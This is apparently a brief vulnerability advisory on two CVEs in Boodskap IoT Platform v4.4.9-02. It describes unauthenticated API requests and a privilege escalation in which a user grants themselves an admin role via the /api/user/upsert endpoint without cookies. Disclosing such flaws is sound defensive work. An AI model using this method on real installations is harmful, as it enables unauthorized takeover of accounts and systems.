CVE-2022-35136: Boodskap IoT Platform v4.4.9-02 allows attackers to make unauthenticated API requests.

CVE-2022-35135: Boodskap IoT Platform v4.4.9-02 allows attackers to escalate privileges via a crafted request sent to /api/user/upsert/<uuid>.

The platform successfully processes API requests even without valid cookies.For example, the following request to update user profile is processed, even though the request does not have any cookie/api key. (Cookie header is blank in the request) Since API requests to the platform are not authenticated, a user can assign themselves an admin role, by sending a request to http://192.168.72.157/api/user/upsert/<userid> endpoint.
